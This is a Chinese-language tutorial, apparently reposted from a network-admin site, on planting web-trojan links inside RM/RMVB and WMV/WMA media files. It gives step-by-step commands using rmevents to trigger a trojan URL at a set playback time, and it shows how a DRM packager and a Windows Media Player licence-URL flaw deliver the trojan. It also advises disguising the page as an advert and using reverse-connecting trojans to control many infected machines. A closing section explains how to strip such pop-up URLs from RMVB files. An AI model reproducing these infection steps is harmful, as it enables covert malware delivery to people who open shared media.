RM、RMVB、WMV、WMA内插广告任意加
如今网络上流传最为广泛的媒体文件有两类，一类是RM、RMVB文件，另一类是WMV、WMA文件，由于它们对流媒体的良好支持，使网络上的电影、音乐等媒体文件几乎都采用了这两种媒体文件格式，因此，如果在媒体文件中植入木马，那么媒体文件中木马独有的隐蔽性将会使受害者在不知不觉中被网页木马侵害，危害性可见一斑。
在RM、RMVB中加入
中国网管联盟www_bitscn_com
Helix Producer Plus(下载地址：Helix Producer Plus V9.01）是一款图形化的专业流媒体文件制作工具，我们可以利用Helix Producer Plus这款软件把其他格式的文件转换成RM或RMVB格式，当然也可以对已存在的RM文件进行重新编辑，在编辑的同时，我们可以把事先准备好的网页木马插入其中。这样只要一打开这个编辑好的媒体文件，插入在其中的网页木马也会随之打开，我们甚至还能控制网页木马打开的时间，让网页木马更隐蔽。 网管联盟www.bitsCN.com
步骤1：首先下载Helix Producer Plus，一路“Next”完成安装，然后我们要找一个能把网页木马插入其中的RM电影文件，把它改名为film.rm，然后拷贝到Helix Producer Plus安装目录的RealMediaEditor文件夹下。 中国网管论坛bbs.bitsCN.com
步骤2：我们在这个文件夹中新建一个文本文档，命名为test.txt，在test.txt文件中写入这样一句命令：“u 00:07:00 00:07:30 http://www.***.com/in
dex.php”，这句命令的意思是当媒体文件播放到第7分钟后触发打开URL事件，然后到7分30秒的时候事件结束，最后面的就是URL的网址，我们可以把这个网址改成我们的网页木马的地址（关于网页木马的制作和设置已经多次介绍，在此不再重复），这样便可以在别人看媒体文件的时候打开网页木马，让他不知不觉中招（如图1）。 54com.cn
网管联盟www.bitsCN.com
54ne.com
网管网bitsCN.com
小提示：对于制作的网页木马应尽量隐蔽，并模仿正常网页，否则在看媒体文件时突然弹出网页谁都会有疑心，当然把它做成类似的广告网页效果最好，别人会以为是广告，便一关了之，而这时我们已经种马成功了。对于木马的选择应尽量使用具有反向连接的木马，如灰鸽子，否则即使有了上百的肉鸡，一个一个去连接也是很麻烦的。
步骤3：运行CMD（命令提示符），进入RealMediaEditor文件夹，输入命令：“rmevents -i film.rm -e test.txt -o film2.rm”，这是最关键的一步，意思是利用Helix Producer Plus自带的rmevents.exe把test.txt这个触发URL事件合并到film.rm中，并另存为film2.rm。这个新生成的film2.rm便是我们需要的带有网页木马的媒体文件（如图2）。 feedom.net
中国网管联盟www、bitsCN、com
在WMV、WMA中加入 网管网bitsCN_com
对于WMA、WMV文件，我们可以利用其默认的播放器Windows Media Player的“Microsoft Windows媒体播放器数字权限管理加载任意网页漏洞”来插入木马。当我们播放已经插入木马的恶意文件时，播放器首先会弹出一个提示窗口，说明此文件经过DRM加密需要通过URL验证证书，而这个URL就是我们事先设置好的网页木马地址，当用户点击“是”进行验证时，我们便种马成功了。和RM文件种马一样，在WMV文件中插入木马我们还需要一样工具——WMDRM打包加密器，这是一款可以对WMA、WMV进行DRM加密的文件，软件本身是为了保护媒体文件的版权，但在攻击者手中，便成了黑客的帮凶。 中国网管联盟www_bitscn_com
安装“WMDRM打包加密器”，完成后运行，软件界面很简洁（如图3）。首先出现的是“自定义打包”标签，我们点击“源文件”右边的浏览按钮，选择一个WMA或WMV文件，然后我们在下面的“输出目录”里选择生成恶意文件的保存路径，然后在“输出文件后缀” 中填入生成的文件后缀，建议和源文件保持一致。完成后我们切换到“认证字符串”标签， 在“认证URL”栏里输入我们的网页木马地址，如：http://www.***.com/index.php,其他保持默认即可。再切换到“自定义打包”标签，点击“打包加密’按钮，植有网页木马的恶意媒体文件就生成了。 中国网管联盟www_bitscn_com
网管联盟www.bitsCN.com
网管网bitsCN.com
当用户打开这个恶意媒体文件时，Windows Media Player会要求你获取证书（如图4），点击“确定”后就会弹出我们的网页木马。
网管联盟www.bitsCN.com
网管网bitsCN.com
去掉RMVB中自动弹出网页
网管网bitsCN_com
在播放一些从网上下载的RMVB文件时，放着放着就会打开一个网页，而且每次放到这个地方就会自动打开网页，很麻烦。其实这是别人做广告的一个方法，他们把网页资料保存在Real文件的剪辑信息中就会这样了，我们只要去掉剪辑信息中的网页资料就可以解决这个问题了。
54ne.com
首先要下载软件“Helix Producer Plus”(下载地址：http://www.skycn.com/soft/1272.html)，下载后进行安装，软件默认是安装在“C:\Program Files\Real\Helix Producer Plus”下的。 中国网管联盟www、bitsCN、com
安装好找到要去除网页的RMVB文件(如111.rmvb)，在旁边新建一个空白的文本文件(如123.txt)，接着再新建一个批处理文件(如abc.bat)，并在里面输入如下内容："C:\Program Files\Real\Helix Producer Plus\RealMediaEditor\rmevents.exe" -i 111.rmvb -e 123.txt -o 112.rmvb
其中111.rmvb是要进行处理的文件，123.txt是编辑剪辑信息的文件，112.rmvb表示处理后正常的RMVB文件。 54com.cn
文件建立好后，就可以来运行批处理文件abc.bat，这时就会生成一个112.rmvb的视频文件，它就是去除自动打开网页的正常文件了。
<!---->